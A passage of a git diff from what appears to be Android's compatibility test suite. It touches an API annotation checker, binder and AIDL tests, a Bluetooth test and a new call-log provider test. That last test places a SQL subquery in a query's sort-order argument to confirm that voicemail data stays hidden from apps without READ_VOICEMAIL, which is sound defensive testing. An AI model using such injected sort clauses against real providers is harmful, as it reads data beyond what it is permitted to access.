      *      android.annotation.SystemApi)
      */
     public AnnotationChecker(
-            ResultObserver resultObserver, ClassProvider classProvider, String annotationSpec) {
+            ResultObserver resultObserver, ClassProvider classProvider, String annotationSpec,
+            ResultFilter filter) {
         super(classProvider, resultObserver);
 
         this.annotationSpec = annotationSpec;
+        this.filter = filter;
         classProvider.getAllClasses().forEach(clazz -> {
             if (ReflectionHelper.hasMatchingAnnotation(clazz, annotationSpec)) {
                 annotatedClassesMap.put(clazz.getName(), clazz);
@@ -51,28 +56,43 @@
             Set<Constructor<?>> constructors = ReflectionHelper.getAnnotatedConstructors(clazz,
                     annotationSpec);
             if (!constructors.isEmpty()) {
-                annotatedConstructorsMap.put(clazz.getName(), constructors);
+                annotatedConstructorsMap.put(clazz.getName(), constructors.stream().
+                        filter(c -> !c.isSynthetic()).collect(Collectors.toSet()));
             }
             Set<Method> methods = ReflectionHelper.getAnnotatedMethods(clazz, annotationSpec);
             if (!methods.isEmpty()) {
-                annotatedMethodsMap.put(clazz.getName(), methods);
+                annotatedMethodsMap.put(clazz.getName(), methods.stream().
+                        filter(m -> !m.isSynthetic()).collect(Collectors.toSet()));
             }
             Set<Field> fields = ReflectionHelper.getAnnotatedFields(clazz, annotationSpec);
             if (!fields.isEmpty()) {
-                annotatedFieldsMap.put(clazz.getName(), fields);
+                annotatedFieldsMap.put(clazz.getName(), fields.stream().
+                        filter(f -> !f.isSynthetic()).collect(Collectors.toSet()));
             }
         });
     }
 
+    /**
+     * ResultFilter allows users to skip the check for certain types of APIs.
+     */
+    public interface ResultFilter {
+        public boolean skip(Class<?> clazz);
+        public boolean skip(Constructor<?> ctor);
+        public boolean skip(Method m);
+        public boolean skip(Field f);
+    }
+
     @Override
     public void checkDeferred() {
         for (Class<?> clazz : annotatedClassesMap.values()) {
+            if (filter != null && filter.skip(clazz)) continue;
             resultObserver.notifyFailure(FailureType.EXTRA_CLASS, clazz.getName(),
                     "Class annotated with " + annotationSpec
                             + " does not exist in the documented API");
         }
         for (Set<Constructor<?>> set : annotatedConstructorsMap.values()) {
             for (Constructor<?> c : set) {
+                if (filter != null && filter.skip(c)) continue;
                 resultObserver.notifyFailure(FailureType.EXTRA_METHOD, c.toString(),
                         "Constructor annotated with " + annotationSpec
                                 + " does not exist in the API");
@@ -80,6 +100,7 @@
         }
         for (Set<Method> set : annotatedMethodsMap.values()) {
             for (Method m : set) {
+                if (filter != null && filter.skip(m)) continue;
                 resultObserver.notifyFailure(FailureType.EXTRA_METHOD, m.toString(),
                         "Method annotated with " + annotationSpec
                                 + " does not exist in the API");
@@ -87,6 +108,7 @@
         }
         for (Set<Field> set : annotatedFieldsMap.values()) {
             for (Field f : set) {
+                if (filter != null && filter.skip(f)) continue;
                 resultObserver.notifyFailure(FailureType.EXTRA_FIELD, f.toString(),
                         "Field annotated with " + annotationSpec
                                 + " does not exist in the API");
diff --git a/tests/signature/tests/src/android/signature/cts/tests/AnnotationCheckerTest.java b/tests/signature/tests/src/android/signature/cts/tests/AnnotationCheckerTest.java
index 90dada9..a981be7 100644
--- a/tests/signature/tests/src/android/signature/cts/tests/AnnotationCheckerTest.java
+++ b/tests/signature/tests/src/android/signature/cts/tests/AnnotationCheckerTest.java
@@ -38,7 +38,7 @@
     protected AnnotationChecker createChecker(ResultObserver resultObserver,
             ClassProvider provider) {
         return new AnnotationChecker(resultObserver, provider,
-                "@android.signature.cts.tests.data.ApiAnnotation()");
+                "@android.signature.cts.tests.data.ApiAnnotation()", null);
     }
 
     private static void addConstructor(JDiffClassDescription clz, String... paramTypes) {
diff --git a/tests/tests/appop/src/android/app/appops/cts/AppOpEventCollectionTest.kt b/tests/tests/appop/src/android/app/appops/cts/AppOpEventCollectionTest.kt
index f23485f..efb863b 100644
--- a/tests/tests/appop/src/android/app/appops/cts/AppOpEventCollectionTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/AppOpEventCollectionTest.kt
@@ -27,7 +27,8 @@
 import android.app.AppOpsManager.OP_FLAG_UNTRUSTED_PROXIED
 import android.app.AppOpsManager.UID_STATE_TOP
 import android.content.Intent
-import android.content.Intent.ACTION_APPLICATION_PREFERENCES
+import android.content.Intent.ACTION_INSTALL_PACKAGE
+import android.net.Uri
 import android.os.SystemClock
 import android.platform.test.annotations.AppModeFull
 import androidx.test.platform.app.InstrumentationRegistry
@@ -258,7 +259,9 @@
     fun noteFromTwoProxiesAndVerifyProxyInfo() {
         // Find another app to blame
         val otherAppInfo = context.packageManager
-                .resolveActivity(Intent(ACTION_APPLICATION_PREFERENCES), 0)
+                .resolveActivity(Intent(ACTION_INSTALL_PACKAGE).addCategory(Intent.CATEGORY_DEFAULT)
+                        .setDataAndType(Uri.parse("content://com.example/foo.apk"),
+                                "application/vnd.android.package-archive"), 0)
                 ?.activityInfo?.applicationInfo
 
         assumeNotNull(otherAppInfo)
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/Foo.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/Foo.aidl
index f2b551c..ddb6e8b 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/Foo.aidl
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/Foo.aidl
@@ -31,4 +31,16 @@
   test_package.LongEnum[] shouldContainTwoLongFoos;
   @nullable String[] g;
   @nullable test_package.SimpleUnion u;
+  int shouldSetBit0AndBit2;
+  @nullable test_package.SimpleUnion shouldBeConstS1;
+  const int kZero = 0;
+  const int kOne = 1;
+  const int kOnes = -1;
+  const byte kByteOne = 1;
+  const long kLongOnes = -1;
+  const String kEmpty = "";
+  const String kFoo = "foo";
+  const int BIT0 = 1;
+  const int BIT1 = 2;
+  const int BIT2 = 4;
 }
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/SimpleUnion.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/SimpleUnion.aidl
index 7c1564a..e7fc95c 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/SimpleUnion.aidl
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/SimpleUnion.aidl
@@ -23,4 +23,12 @@
   test_package.ByteEnum d;
   test_package.ByteEnum[] e;
   @nullable test_package.Bar f;
+  const int kZero = 0;
+  const int kOne = 1;
+  const int kOnes = -1;
+  const byte kByteOne = 1;
+  const long kLongOnes = -1;
+  const String kEmpty = "";
+  const String kFoo = "foo";
+  const String S1 = "a string constant";
 }
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h b/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h
index ae7e435..6222518 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h
@@ -456,7 +456,8 @@
       const ::aidl::test_package::ExtendableParcelable& in_input,
       ::aidl::test_package::ExtendableParcelable* out_output) {
     RepeatExtendableParcelableWithoutExtension(in_input, out_output);
-    std::unique_ptr<MyExt> ext = in_input.ext.getParcelable<MyExt>();
+    std::optional<MyExt> ext;
+    in_input.ext.getParcelable(&ext);
     MyExt ext2;
     ext2.a = ext->a;
     ext2.b = ext->b;
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_ibinder.cpp b/tests/tests/binder_ndk/libbinder_ndk_test/test_ibinder.cpp
index fab478e..65862b1 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/test_ibinder.cpp
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_ibinder.cpp
@@ -139,6 +139,92 @@
 
   AIBinder* promoted = AIBinder_Weak_promote(weak);
   EXPECT_EQ(nullptr, promoted);
+
+  AIBinder_Weak_delete(weak);
+}
+
+TEST_F(NdkBinderTest_AIBinder, WeakPointerClonePromotes) {
+  AIBinder* binder = SampleData::newBinder();
+  AIBinder_Weak* weak = AIBinder_Weak_new(binder);
+  AIBinder_Weak* copy = AIBinder_Weak_clone(weak);
+  AIBinder_Weak_delete(weak);
+
+  AIBinder* promoted = AIBinder_Weak_promote(copy);
+  EXPECT_EQ(binder, promoted);
+
+  AIBinder_Weak_delete(copy);
+  AIBinder_decStrong(promoted);
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, WeakPointerCloneNoPromote) {
+  AIBinder* binder = SampleData::newBinder();
+  AIBinder_Weak* weak = AIBinder_Weak_new(binder);
+  AIBinder_Weak* copy = AIBinder_Weak_clone(weak);
+  AIBinder_Weak_delete(weak);
+
+  AIBinder_decStrong(binder);
+
+  AIBinder* promoted = AIBinder_Weak_promote(weak);
+  EXPECT_EQ(nullptr, promoted);
+
+  AIBinder_Weak_delete(copy);
+}
+
+TEST_F(NdkBinderTest_AIBinder, BinderEqual) {
+  AIBinder* binder = SampleData::newBinder();
+
+  EXPECT_FALSE(AIBinder_lt(binder, binder));
+
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, BinderNotEqual) {
+  AIBinder* b1 = SampleData::newBinder();
+  AIBinder* b2 = SampleData::newBinder();
+
+  EXPECT_NE(AIBinder_lt(b1, b2), AIBinder_lt(b2, b1));
+
+  AIBinder_decStrong(b2);
+  AIBinder_decStrong(b1);
+}
+
+TEST_F(NdkBinderTest_AIBinder, WeakPointerEqual) {
+  AIBinder* binder = SampleData::newBinder();
+  AIBinder_Weak* weak1 = AIBinder_Weak_new(binder);
+  AIBinder_Weak* weak2 = AIBinder_Weak_new(binder);
+
+  // doesn't need to be promotable to remember ordering
+  AIBinder_decStrong(binder);
+
+  // they are different objects
+  EXPECT_NE(weak1, weak2);
+
+  // they point to the same binder
+  EXPECT_FALSE(AIBinder_Weak_lt(weak1, weak2));
+  EXPECT_FALSE(AIBinder_Weak_lt(weak2, weak1));
+
+  AIBinder_Weak_delete(weak1);
+  AIBinder_Weak_delete(weak2);
+}
+
+TEST_F(NdkBinderTest_AIBinder, WeakPointerNotEqual) {
+  AIBinder* b1 = SampleData::newBinder();
+  AIBinder_Weak* w1 = AIBinder_Weak_new(b1);
+  AIBinder* b2 = SampleData::newBinder();
+  AIBinder_Weak* w2 = AIBinder_Weak_new(b2);
+
+  bool b1ltb2 = AIBinder_lt(b1, b2);
+
+  // doesn't need to be promotable to remember ordering
+  AIBinder_decStrong(b2);
+  AIBinder_decStrong(b1);
+
+  EXPECT_EQ(b1ltb2, AIBinder_Weak_lt(w1, w2));
+  EXPECT_EQ(!b1ltb2, AIBinder_Weak_lt(w2, w1));
+
+  AIBinder_Weak_delete(w1);
+  AIBinder_Weak_delete(w2);
 }
 
 TEST_F(NdkBinderTest_AIBinder, LocalIsLocal) {
@@ -368,6 +454,13 @@
 
   EXPECT_EQ(nullptr, AIBinder_DeathRecipient_new(nullptr));
 
+  EXPECT_EQ(nullptr, AIBinder_Weak_clone(nullptr));
+
+  AIBinder_Weak* weak = AIBinder_Weak_new(binder);
+  EXPECT_TRUE(AIBinder_Weak_lt(nullptr, weak));
+  EXPECT_FALSE(AIBinder_Weak_lt(weak, nullptr));
+  AIBinder_Weak_delete(weak);
+
   // Does not crash
   AIBinder_DeathRecipient_delete(nullptr);
 
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp b/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp
index 85e5599..9d57674 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp
@@ -202,7 +202,7 @@
   EXPECT_EQ(getuid(), res);
 }
 
-TEST_P(NdkBinderTest_Aidl, Constants) {
+TEST_P(NdkBinderTest_Aidl, ConstantsInInterface) {
   ASSERT_EQ(0, ITest::kZero);
   ASSERT_EQ(1, ITest::kOne);
   ASSERT_EQ(0xffffffff, ITest::kOnes);
@@ -212,6 +212,26 @@
   ASSERT_EQ(std::string("foo"), ITest::kFoo);
 }
 
+TEST_P(NdkBinderTest_Aidl, ConstantsInParcelable) {
+  ASSERT_EQ(0, Foo::kZero);
+  ASSERT_EQ(1, Foo::kOne);
+  ASSERT_EQ(0xffffffff, Foo::kOnes);
+  ASSERT_EQ(1, Foo::kByteOne);
+  ASSERT_EQ(0xffffffffffffffff, Foo::kLongOnes);
+  ASSERT_EQ(std::string(""), Foo::kEmpty);
+  ASSERT_EQ(std::string("foo"), Foo::kFoo);
+}
+
+TEST_P(NdkBinderTest_Aidl, ConstantsInUnion) {
+  ASSERT_EQ(0, SimpleUnion::kZero);
+  ASSERT_EQ(1, SimpleUnion::kOne);
+  ASSERT_EQ(0xffffffff, SimpleUnion::kOnes);
+  ASSERT_EQ(1, SimpleUnion::kByteOne);
+  ASSERT_EQ(0xffffffffffffffff, SimpleUnion::kLongOnes);
+  ASSERT_EQ(std::string(""), SimpleUnion::kEmpty);
+  ASSERT_EQ(std::string("foo"), SimpleUnion::kFoo);
+}
+
 TEST_P(NdkBinderTest_Aidl, RepeatPrimitiveInt) {
   int32_t out;
   ASSERT_OK(iface->RepeatInt(3, &out));
@@ -394,6 +414,25 @@
 
 TEST_P(NdkBinderTest_Aidl, RepeatFd) { checkFdRepeat(iface, &ITest::RepeatFd); }
 
+TEST_P(NdkBinderTest_Aidl, RepeatFdNull) {
+  ScopedFileDescriptor fd;
+  // FD is different from most types because the standard type used to represent
+  // it can also contain a null value (this is why many other types don't have
+  // 'null' tests for the non-@nullable Repeat* functions).
+  //
+  // Even worse, these are default initialized to this value, so it's a pretty
+  // common error:
+  EXPECT_EQ(fd.get(), -1);
+  ScopedFileDescriptor out;
+
+  if (shouldBeWrapped) {
+    ASSERT_EQ(STATUS_UNEXPECTED_NULL, AStatus_getStatus(iface->RepeatFd(fd, &out).get()));
+  } else {
+    // another in/out-process difference
+    ASSERT_OK(iface->RepeatFd(fd, &out));
+  }
+}
+
 TEST_P(NdkBinderTest_Aidl, RepeatNullableFd) {
   checkFdRepeat(iface, &ITest::RepeatNullableFd);
 
@@ -435,6 +474,27 @@
   EXPECT_EQ("say what?", *res);
 }
 
+TEST_P(NdkBinderTest_Aidl, ParcelableOrder) {
+  RegularPolygon p1 = {"A", 1, 1.0f};
+
+  // tests on self
+  EXPECT_EQ(p1, p1);
+  EXPECT_LE(p1, p1);
+  EXPECT_GE(p1, p1);
+  EXPECT_FALSE(p1 < p1);
+  EXPECT_FALSE(p1 > p1);
+
+  RegularPolygon p2 = {"A", 2, 1.0f};
+  RegularPolygon p3 = {"B", 1, 1.0f};
+  for (const auto& bigger : {p2, p3}) {
+    EXPECT_FALSE(p1 == bigger);
+    EXPECT_LE(p1, bigger);
+    EXPECT_GE(bigger, p1);
+    EXPECT_LT(p1, bigger);
+    EXPECT_GT(bigger, p1);
+  }
+}
+
 TEST_P(NdkBinderTest_Aidl, ParcelableDefaults) {
   RegularPolygon polygon;
 
@@ -510,28 +570,6 @@
   EXPECT_EQ(15, retF);
 }
 
-namespace aidl {
-namespace test_package {
-bool operator==(const SimpleUnion& lhs, const SimpleUnion& rhs) {
-  if (lhs.getTag() != rhs.getTag()) return false;
-  switch (lhs.getTag()) {
-    case SimpleUnion::a:
-      return lhs.get<SimpleUnion::a>() == rhs.get<SimpleUnion::a>();
-    case SimpleUnion::b:
-      return lhs.get<SimpleUnion::b>() == rhs.get<SimpleUnion::b>();
-    case SimpleUnion::c:
-      return lhs.get<SimpleUnion::c>() == rhs.get<SimpleUnion::c>();
-    case SimpleUnion::d:
-      return lhs.get<SimpleUnion::d>() == rhs.get<SimpleUnion::d>();
-    case SimpleUnion::e:
-      return lhs.get<SimpleUnion::e>() == rhs.get<SimpleUnion::e>();
-    case SimpleUnion::f:
-      return lhs.get<SimpleUnion::f>() == rhs.get<SimpleUnion::f>();
-  }
-}
-}  // namespace test_package
-}  // namespace aidl
-
 TEST_P(NdkBinderTest_Aidl, RepeatFoo) {
   Foo foo;
   foo.a = "NEW FOO";
@@ -545,6 +583,8 @@
   foo.shouldContainTwoIntFoos = {IntEnum::FOO, IntEnum::FOO};
   foo.shouldContainTwoLongFoos = {LongEnum::FOO, LongEnum::FOO};
   foo.u = SimpleUnion::make<SimpleUnion::c>("hello");
+  foo.shouldSetBit0AndBit2 = Foo::BIT0 | Foo::BIT2;
+  foo.shouldBeConstS1 = SimpleUnion::S1;
 
   Foo retFoo;
 
@@ -561,6 +601,8 @@
   EXPECT_EQ(foo.shouldContainTwoIntFoos, retFoo.shouldContainTwoIntFoos);
   EXPECT_EQ(foo.shouldContainTwoLongFoos, retFoo.shouldContainTwoLongFoos);
   EXPECT_EQ(foo.u, retFoo.u);
+  EXPECT_EQ(foo.shouldSetBit0AndBit2, retFoo.shouldSetBit0AndBit2);
+  EXPECT_EQ(foo.shouldBeConstS1, retFoo.shouldBeConstS1);
 }
 
 TEST_P(NdkBinderTest_Aidl, RepeatGenericBar) {
@@ -582,22 +624,6 @@
 using RepeatMethod = ScopedAStatus (ITest::*)(const std::vector<T>&,
                                               std::vector<T>*, std::vector<T>*);
 
-namespace aidl {
-namespace test_package {
-inline bool operator==(const RegularPolygon& lhs, const RegularPolygon& rhs) {
-  return lhs.name == rhs.name && lhs.numSides == rhs.numSides && lhs.sideLength == rhs.sideLength;
-}
-inline bool operator==(const std::vector<RegularPolygon>& lhs,
-                       const std::vector<RegularPolygon>& rhs) {
-  if (lhs.size() != rhs.size()) return false;
-  for (size_t i = 0; i < lhs.size(); i++) {
-    if (!(lhs[i] == rhs[i])) return false;
-  }
-  return true;
-}
-}  // namespace test_package
-}  // namespace aidl
-
 template <typename T>
 void testRepeat(const std::shared_ptr<ITest>& i, RepeatMethod<T> repeatMethod,
                 std::vector<std::vector<T>> tests) {
@@ -940,7 +966,8 @@
   myext1.a = 42;
   myext1.b = "mystr";
   ep.ext.setParcelable(myext1);
-  std::unique_ptr<MyExt> myext2 = ep.ext.getParcelable<MyExt>();
+  std::optional<MyExt> myext2;
+  ep.ext.getParcelable(&myext2);
   EXPECT_TRUE(myext2);
   EXPECT_EQ(42, myext2->a);
   EXPECT_EQ("mystr", myext2->b);
@@ -950,7 +977,8 @@
   AParcel_setDataPosition(parcel, 0);
   ExtendableParcelable ep2;
   ep2.readFromParcel(parcel);
-  std::unique_ptr<MyExt> myext3 = ep2.ext.getParcelable<MyExt>();
+  std::optional<MyExt> myext3;
+  ep2.ext.getParcelable(&myext3);
   EXPECT_TRUE(myext3);
   EXPECT_EQ(42, myext3->a);
   EXPECT_EQ("mystr", myext3->b);
@@ -966,7 +994,8 @@
 
   ExtendableParcelable ep2;
   EXPECT_OK(iface->RepeatExtendableParcelable(ep, &ep2));
-  std::unique_ptr<MyExt> myext2 = ep2.ext.getParcelable<MyExt>();
+  std::optional<MyExt> myext2;
+  ep2.ext.getParcelable(&myext2);
   EXPECT_EQ(42L, ep2.c);
   EXPECT_TRUE(myext2);
   EXPECT_EQ(42, myext2->a);
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_package/Foo.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/Foo.aidl
index 9ecb97e..e6b6285 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/test_package/Foo.aidl
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/Foo.aidl
@@ -7,6 +7,14 @@
 import test_package.SimpleUnion;
 
 parcelable Foo {
+    const int kZero = 0;
+    const int kOne = 1;
+    const int kOnes = 0xffffffff;
+    const byte kByteOne = 1;
+    const long kLongOnes = 0xffffffffffffffff;
+    const String kEmpty = "";
+    const String kFoo = "foo";
+
     String a="FOO";
     int b=42;
     float c=3.14f;
@@ -21,4 +29,13 @@
     LongEnum[] shouldContainTwoLongFoos;
     @nullable String[] g;
     @nullable SimpleUnion u;
+
+    // example: using int constants
+    const int BIT0 = 0x1;
+    const int BIT1 = 0x1 << 1;
+    const int BIT2 = 0x1 << 2;
+    int shouldSetBit0AndBit2;
+
+    // example: using a String constant of union
+    @nullable SimpleUnion shouldBeConstS1;
 }
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_package/SimpleUnion.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/SimpleUnion.aidl
index 5fa906a..7bd33d4 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/test_package/SimpleUnion.aidl
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/SimpleUnion.aidl
@@ -4,10 +4,20 @@
 import test_package.ByteEnum;
 
 union SimpleUnion {
+    const int kZero = 0;
+    const int kOne = 1;
+    const int kOnes = 0xffffffff;
+    const byte kByteOne = 1;
+    const long kLongOnes = 0xffffffffffffffff;
+    const String kEmpty = "";
+    const String kFoo = "foo";
+
     int a = 42;
     int[] b;
     String c;
     ByteEnum d;
     ByteEnum[] e;
     @nullable Bar f;
+
+    const String S1 = "a string constant";
 }
diff --git a/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java b/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java
index 79f231a..d380647 100644
--- a/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java
+++ b/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java
@@ -108,9 +108,19 @@
     }
 
     @Test
-    public void testTrivial() throws RemoteException {
+    public void testVoidReturn() throws RemoteException {
         mInterface.TestVoidReturn();
-        mInterface.TestOneway();
+    }
+
+    @Test
+    public void testOneway() throws RemoteException {
+        boolean isLocalJava = !mShouldBeRemote && mExpectedName == "JAVA";
+        try {
+            mInterface.TestOneway();
+            assertFalse("local Java should throw exception", isLocalJava);
+        } catch (RemoteException e) {
+            assertTrue("only local Java should report error", isLocalJava);
+        }
     }
 
     private void checkDump(String expected, String[] args) throws RemoteException, IOException {
@@ -225,6 +235,18 @@
     }
 
     @Test
+    public void testRepeatFdNull() throws RemoteException {
+        boolean isNativeRemote = mInterface.GetName().equals("CPP");
+
+        try {
+            mInterface.RepeatFd(null);
+            assertFalse("Native shouldn't accept null here", isNativeRemote);
+        } catch (java.lang.NullPointerException e) {
+            assertTrue("Java should accept null here", isNativeRemote);
+        }
+    }
+
+    @Test
     public void testRepeatNullableFd() throws RemoteException, IOException {
         checkFdRepeated((fd) -> mInterface.RepeatNullableFd(fd));
         assertEquals(null, mInterface.RepeatNullableFd(null));
@@ -607,6 +629,9 @@
 
         foo.u = SimpleUnion.e(new byte[]{ByteEnum.FOO, ByteEnum.FOO});
 
+        foo.shouldSetBit0AndBit2 = Foo.BIT0 | Foo.BIT2;
+        foo.shouldBeConstS1 = SimpleUnion.c(SimpleUnion.S1);
+
         Foo repeatedFoo = mInterface.repeatFoo(foo);
 
         assertEquals(foo.a, repeatedFoo.a);
@@ -620,6 +645,8 @@
         Assert.assertArrayEquals(foo.shouldContainTwoIntFoos, repeatedFoo.shouldContainTwoIntFoos);
         Assert.assertArrayEquals(foo.shouldContainTwoLongFoos, repeatedFoo.shouldContainTwoLongFoos);
         Assert.assertArrayEquals(foo.u.getE(), repeatedFoo.u.getE());
+        assertEquals(foo.shouldSetBit0AndBit2, repeatedFoo.shouldSetBit0AndBit2);
+        assertEquals(foo.shouldBeConstS1.getC(), repeatedFoo.shouldBeConstS1.getC());
     }
 
     @Test
diff --git a/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java b/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java
index d16e8a75..04f0b3e 100644
--- a/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java
+++ b/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java
@@ -53,7 +53,9 @@
   public void TestVoidReturn() {}
 
   @Override
-  public void TestOneway() {}
+  public void TestOneway() throws RemoteException {
+    throw new RemoteException("Oneway call errors should be ignored");
+  }
 
   @Override
   public int GiveMeMyCallingPid() {
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BasicAdapterTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BasicAdapterTest.java
index 2eab364..cd24db4 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BasicAdapterTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BasicAdapterTest.java
@@ -50,11 +50,6 @@
     public void setUp() throws Exception {
         super.setUp();
 
-        IntentFilter filter = new IntentFilter();
-        filter.addAction(BluetoothAdapter.ACTION_LOCAL_NAME_CHANGED);
-        filter.setPriority(IntentFilter.SYSTEM_HIGH_PRIORITY);
-        mContext.registerReceiver(mAdapterNameChangeReceiver, filter);
-
         mHasBluetooth = getContext().getPackageManager().hasSystemFeature(
                 PackageManager.FEATURE_BLUETOOTH);
         mAdapterNameChangedlock = new ReentrantLock();
@@ -165,11 +160,17 @@
         BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();
         assertTrue(BTAdapterUtils.enableAdapter(adapter, mContext));
 
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(BluetoothAdapter.ACTION_LOCAL_NAME_CHANGED);
+        filter.setPriority(IntentFilter.SYSTEM_HIGH_PRIORITY);
+        mContext.registerReceiver(mAdapterNameChangeReceiver, filter);
+
         String name = adapter.getName();
         assertNotNull(name);
 
         // Check renaming the adapter
         String genericName = "Generic Device 1";
+        mIsAdapterNameChanged = false;
         assertTrue(adapter.setName(genericName));
         assertTrue(waitForAdapterNameChange());
         mIsAdapterNameChanged = false;
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
index decee36..017d7fa 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
@@ -34,6 +34,7 @@
 import android.os.Message;
 import android.os.Parcel;
 import android.os.Process;
+import android.os.UserHandle;
 import android.provider.Settings;
 import android.telephony.AccessNetworkConstants;
 import android.telephony.CellInfo;
@@ -448,7 +449,7 @@
                         return Process.INVALID_UID;
                     }
                 })
-                .filter(uid -> !specialUids.contains(uid))
+                .filter(uid -> !specialUids.contains(UserHandle.getAppId(uid)))
                 .collect(Collectors.toList());
 
         if (nonSpecialPackages.size() > 1) {
diff --git a/tests/tests/contactsprovider/src/android/provider/cts/contacts/CallLogProviderTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/CallLogProviderTest.java
new file mode 100644
index 0000000..f91015a
--- /dev/null
+++ b/tests/tests/contactsprovider/src/android/provider/cts/contacts/CallLogProviderTest.java
@@ -0,0 +1,135 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+import android.content.ContentProviderClient;
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.database.ContentObserver;
+import android.database.Cursor;
+import android.net.Uri;
+import android.provider.CallLog;
+import android.provider.CallLog.Calls;
+import android.test.InstrumentationTestCase;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+public class CallLogProviderTest extends InstrumentationTestCase {
+    private ContentResolver mContentResolver;
+    private ContentProviderClient mProvider;
+
+    private static final String TEST_NUMBER = "5551234";
+    private static final int TIME_OUT_MILLIS = 5000;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mContentResolver = getInstrumentation().getTargetContext().getContentResolver();
+        mProvider = mContentResolver.acquireContentProviderClient(CallLog.AUTHORITY);
+    }
+
+    public void testNoSubqueries() throws Exception {
+        // Add a single call just to make sure the call log has something inside
+        ContentValues values = new ContentValues();
+        values.put(CallLog.Calls.NUMBER, TEST_NUMBER);
+        values.put(CallLog.Calls.TYPE, Calls.OUTGOING_TYPE);
+        values.put(CallLog.Calls.DATE, Long.valueOf(0 /*start time*/));
+        values.put(CallLog.Calls.DURATION, Long.valueOf(5 /*call duration*/));
+
+        mContentResolver.insert(CallLog.Calls.CONTENT_URI, values);
+
+        // Attempt to do a query that contains a subquery -- this should fail since this test does
+        // not have READ_VOICEMAIL.
+        try {
+            Cursor c = mProvider.query(Calls.CONTENT_URI, null, CallLog.Calls.NUMBER + " = ?",
+                    new String[]{TEST_NUMBER},
+                    "date DESC LIMIT (SELECT count(*) + 1 FROM calls WHERE type = 4");
+            assertEquals(0, c.getCount());
+        } catch (IllegalArgumentException e) {
+            // expected/tolerated
+        }
+    }
+
+    public void testUpdate() throws Exception {
+        // Add a single call just to make sure the call log has something inside
+        ContentValues values = new ContentValues();
+        values.put(CallLog.Calls.NUMBER, TEST_NUMBER);
+        values.put(CallLog.Calls.TYPE, Calls.OUTGOING_TYPE);
+        values.put(CallLog.Calls.DATE, Long.valueOf(0 /*start time*/));
+        values.put(CallLog.Calls.DURATION, Long.valueOf(5 /*call duration*/));
+        Uri uri = mContentResolver.insert(CallLog.Calls.CONTENT_URI, values);
+
+        CountDownLatch changeLatch = new CountDownLatch(1);
+        mContentResolver.registerContentObserver(
+                CallLog.Calls.CONTENT_URI, true,
+                new ContentObserver(null /* handler */) {
+                    @Override
